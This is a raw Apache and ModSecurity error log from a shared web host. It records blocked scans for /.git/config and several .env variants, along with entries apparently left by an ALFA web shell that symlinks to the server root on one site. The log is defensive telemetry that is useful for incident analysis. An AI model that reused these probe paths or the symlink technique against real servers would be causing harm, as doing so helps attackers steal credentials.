[Sun Oct 25 09:17:36.260624 2026] [security2:error] [pid 2834020:tid 2834020] [client 172.71.127.154:12020] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "clic1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4BcBus_mjnPB8X3pG9jwAAABI"]
[Sun Oct 25 09:17:36.260903 2026] [security2:error] [pid 2834020:tid 2834020] [client 172.71.127.154:12020] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "clic1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4BcBus_mjnPB8X3pG9jwAAABI"]
[Sun Oct 25 09:17:38.159700 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 44.221.227.90:42629] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:17:42.275544 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 3.208.146.193:56217] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:17:42.767469 2026] [core:error] [pid 2821699:tid 2821699] (13)Permission denied: [client 85.208.96.207:51446] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-128/aliases
[Sun Oct 25 09:17:49.823814 2026] [authz_core:error] [pid 2826774:tid 2826774] [client 62.210.142.171:50120] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 09:17:50.223751 2026] [cgi:error] [pid 2826774:tid 2826774] [client 62.210.142.171:50120] AH02811: stderr from /home/cursodeventas/public_html/cgi-bin: script not found or unable to stat
[Sun Oct 25 09:17:54.252781 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 100.29.128.75:1030] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:18:10.419877 2026] [security2:error] [pid 2821699:tid 2821699] [client 43.154.127.188:45256] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.curso-de-ventas.com"] [uri "/"] [unique_id "at4BkpBSQk9YSmLuOvuQtAAAAAM"]
[Sun Oct 25 09:18:10.420889 2026] [authz_core:error] [pid 2821699:tid 2821699] [client 43.154.127.188:45256] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sun Oct 25 09:18:14.149230 2026] [ssl:error] [pid 2834008:tid 2834008] (5)Input/output error: [client 18.209.137.234:4036] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:18:18.149411 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 52.203.152.231:17318] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:18:26.191589 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 44.216.172.204:63563] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:10/subsystem/devices/device:06/physical_node/driver/0000:00:05.0/resource4
[Sun Oct 25 09:18:30.158390 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 44.215.61.66:63772] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:18:46.154634 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 44.217.177.142:43290] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:18:54.281896 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 52.73.6.26:28766] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:19:06.695839 2026] [core:error] [pid 2834019:tid 2834019] (13)Permission denied: [client 85.208.96.199:50288] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-8k/slabs
[Sun Oct 25 09:19:14.344658 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 3.94.40.182:46243] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:19:26.152374 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 18.213.70.100:63246] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:19:30.215451 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 52.4.238.8:4005] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:19:34.153239 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 44.217.177.142:46913] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:19:38.403429 2026] [ssl:error] [pid 2834020:tid 2834020] (70014)End of file found: [client 18.209.201.119:35700] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:19:41.639939 2026] [security2:error] [pid 2815605:tid 2815605] [client 186.22.13.60:37952] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at4B7QYPMfHr0EMMDlnnWQAAABM"], referer: https://acquire.co.in/redirect.php?ref_host=littleschooloffish.com
[Sun Oct 25 09:19:41.641241 2026] [authz_core:error] [pid 2815605:tid 2815605] [client 186.22.13.60:37952] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini, referer: https://acquire.co.in/redirect.php?ref_host=littleschooloffish.com
[Sun Oct 25 09:19:46.296539 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 3.209.174.110:35469] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:19:50.134113 2026] [ssl:error] [pid 2834008:tid 2834008] (70014)End of file found: [client 52.3.127.170:63639] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:19:58.412592 2026] [core:error] [pid 2834006:tid 2834006] (13)Permission denied: [client 54.225.98.148:13382] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:03.0/subsystem/drivers/virtio-pci/0000:00:04.0/driver/new_id
[Sun Oct 25 09:20:26.307417 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 50.19.79.213:43261] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:20:42.235194 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 54.197.102.71:59105] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:20:46.139254 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 34.195.60.66:14977] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:20:54.229154 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 52.3.104.214:27526] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:20:58.180400 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 34.231.118.144:19276] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:21:34.161772 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 34.195.60.66:62099] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:21:40.867216 2026] [core:error] [pid 2821699:tid 2821699] (13)Permission denied: [client 85.208.96.206:27864] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/taskstats/sanity_checks
[Sun Oct 25 09:21:49.891094 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 185.191.171.14:52768] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:21:50.241872 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 44.194.134.53:55532] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:21:57.975080 2026] [ssl:error] [pid 2834006:tid 2834006] (70014)End of file found: [client 185.191.171.16:42226] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:21:58.267712 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 18.215.24.66:62677] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:22:02.213539 2026] [ssl:error] [pid 2821699:tid 2821699] (70014)End of file found: [client 44.212.145.46:8844] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:22:03.807202 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 85.208.96.200:23996] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:22:06.149724 2026] [ssl:error] [pid 2834008:tid 2834008] (22)Invalid argument: [client 184.73.239.35:14249] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:22:14.150954 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 52.204.253.129:59535] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:22:30.213158 2026] [core:error] [pid 2815605:tid 2815605] (13)Permission denied: [client 18.214.138.148:16210] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/cpu1/node0/memory9/subsystem/drivers_probe
[Sun Oct 25 09:22:34.122918 2026] [ssl:error] [pid 2815602:tid 2815602] (70014)End of file found: [client 52.205.113.104:19751] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:22:34.934990 2026] [core:crit] [pid 2821699:tid 2821699] (13)Permission denied: [client 192.236.202.11:59846] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sun Oct 25 09:22:38.145799 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 3.224.104.67:20570] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:22:46.129302 2026] [ssl:error] [pid 2834019:tid 2834019] (70014)End of file found: [client 3.222.190.107:3065] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:23:02.115607 2026] [ssl:error] [pid 2826774:tid 2826774] (70014)End of file found: [client 52.3.156.186:7754] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:23:06.158202 2026] [ssl:error] [pid 2815605:tid 2815605] (70014)End of file found: [client 100.28.44.58:33276] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:23:10.128042 2026] [core:error] [pid 2815602:tid 2815602] (13)Permission denied: [client 100.25.120.246:41402] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/physical_node/subsystem/drivers/shpchp/bind
[Sun Oct 25 09:23:18.122923 2026] [ssl:error] [pid 2834025:tid 2834025] (70014)End of file found: [client 3.218.35.239:18219] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 09:23:20.812812 2026] [authz_core:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Sun Oct 25 09:23:21.494240 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4CyRD7bhykmI5PXOwDLgAAAAo"]
[Sun Oct 25 09:23:21.494551 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4CyRD7bhykmI5PXOwDLgAAAAo"]
[Sun Oct 25 09:23:21.495129 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at4CyRD7bhykmI5PXOwDLgAAAAo"]
[Sun Oct 25 09:23:21.805143 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4CyRD7bhykmI5PXOwDMAAAAAo"]
[Sun Oct 25 09:23:21.805384 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4CyRD7bhykmI5PXOwDMAAAAAo"]
[Sun Oct 25 09:23:21.805742 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at4CyRD7bhykmI5PXOwDMAAAAAo"]
[Sun Oct 25 09:23:21.937436 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at4CyRD7bhykmI5PXOwDMQAAAAo"]
[Sun Oct 25 09:23:21.937707 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at4CyRD7bhykmI5PXOwDMQAAAAo"]
[Sun Oct 25 09:23:21.938067 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at4CyRD7bhykmI5PXOwDMQAAAAo"]
[Sun Oct 25 09:23:22.089282 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at4CyhD7bhykmI5PXOwDMgAAAAo"]
[Sun Oct 25 09:23:22.089584 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at4CyhD7bhykmI5PXOwDMgAAAAo"]
[Sun Oct 25 09:23:22.089919 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at4CyhD7bhykmI5PXOwDMgAAAAo"]
[Sun Oct 25 09:23:22.231474 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at4CyhD7bhykmI5PXOwDMwAAAAo"]
[Sun Oct 25 09:23:22.231708 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at4CyhD7bhykmI5PXOwDMwAAAAo"]
[Sun Oct 25 09:23:22.232012 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "at4CyhD7bhykmI5PXOwDMwAAAAo"]
[Sun Oct 25 09:23:22.367223 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at4CyhD7bhykmI5PXOwDNAAAAAo"]
[Sun Oct 25 09:23:22.367454 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at4CyhD7bhykmI5PXOwDNAAAAAo"]
[Sun Oct 25 09:23:22.367855 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at4CyhD7bhykmI5PXOwDNAAAAAo"]
[Sun Oct 25 09:23:22.549876 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at4CyhD7bhykmI5PXOwDNQAAAAo"]
[Sun Oct 25 09:23:22.550101 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at4CyhD7bhykmI5PXOwDNQAAAAo"]
[Sun Oct 25 09:23:22.550422 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at4CyhD7bhykmI5PXOwDNQAAAAo"]
[Sun Oct 25 09:23:22.727240 2026] [security2:error] [pid 2834006:tid 2834006] [client 34.151.255.162:52968] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "at4CyhD7bhykmI5PXOwDNgAAAAo"]
